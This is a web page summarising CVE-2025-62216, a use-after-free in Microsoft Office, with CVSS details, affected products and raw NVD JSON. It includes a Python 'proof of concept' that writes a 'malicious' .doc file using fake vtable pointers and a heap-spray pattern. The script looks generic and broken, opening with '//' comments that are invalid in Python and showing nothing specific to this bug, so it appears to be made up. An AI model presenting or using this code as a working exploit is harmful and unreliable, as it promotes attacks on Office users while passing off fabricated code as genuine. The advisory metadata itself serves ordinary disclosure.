Security Vulnerability Report
中文
CVE-2025-62216 CVSS 7.8 HIGH

CVE-2025-62216

Published: 2025-11-11 18:15:49
Last Modified: 2025-11-17 17:41:10

Description

Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:* - VULNERABLE
Microsoft Office 2016 及之前版本
Microsoft Office 2019
Microsoft Office 2021
Microsoft 365 Apps

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62216 PoC - Malicious Office Document Trigger // This PoC demonstrates the use-after-free vulnerability in Microsoft Office // Note: This is for educational and security research purposes only import struct import sys def create_malicious_doc(): """ Generate a malicious Office document that triggers CVE-2025-62216 The document contains crafted data structures to cause use-after-free """ # OLE compound file header ole_header = bytearray() ole_header += b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # Signature ole_header += b'\x00' * 8 # CLSID ole_header += struct.pack('<H', 0x003E) # Minor version ole_header += struct.pack('<H', 0x0003) # Major version ole_header += struct.pack('<H', 0xFFFE) # Byte order ole_header += struct.pack('<H', 0x0009) # Sector size ole_header += struct.pack('<H', 0x0006) # Mini sector size ole_header += b'\x00' * 6 # Reserved ole_header += struct.pack('<I', 1) # Total sectors ole_header += struct.pack('<I', 0) # FAT sectors ole_header += struct.pack('<I', 0) # First directory sector ole_header += struct.pack('<I', 0) # Transaction signature ole_header += struct.pack('<I', 0x00001000) # Mini stream cutoff ole_header += struct.pack('<I', 0) # First mini FAT sector ole_header += struct.pack('<I', 0) # Number of mini FAT sectors ole_header += struct.pack('<I', 0) # First DIFAT sector ole_header += struct.pack('<I', 0) # Number of DIFAT sectors # Malicious payload to trigger use-after-free # This triggers the vulnerability by creating specific memory conditions malicious_payload = bytearray() # Crafted object structure that will be prematurely freed # but pointer to it remains accessible for i in range(100): # Object with specific vtable pointer manipulation obj_data = struct.pack('<Q', 0x4141414141414141) # Fake vtable pointer obj_data += struct.pack('<Q', 0x4242424242424242) # Additional data obj_data += struct.pack('<Q', 0x4343434343434343) # More data malicious_payload += obj_data # Heap spray pattern to increase exploitation reliability spray_pattern = b'\x41' * 0x1000 for _ in range(50): malicious_payload += spray_pattern # Combine header and payload doc = ole_header + malicious_payload return bytes(doc) def main(): print("[*] CVE-2025-62216 PoC Generator") print("[*] Target: Microsoft Office") print("[*] Vulnerability: Use After Free") # Generate malicious document poc_doc = create_malicious_doc() # Save to file output_file = 'CVE-2025-62216-poc.doc' with open(output_file, 'wb') as f: f.write(poc_doc) print(f"[+] PoC document generated: {output_file}") print("[+] Size: {} bytes".format(len(poc_doc))) print("\n[!] Warning: This PoC is for research purposes only") print("[!] Do not use this code for malicious activities") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62216", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:49.080", "lastModified": "2025-11-17T17:41:09.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62216", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}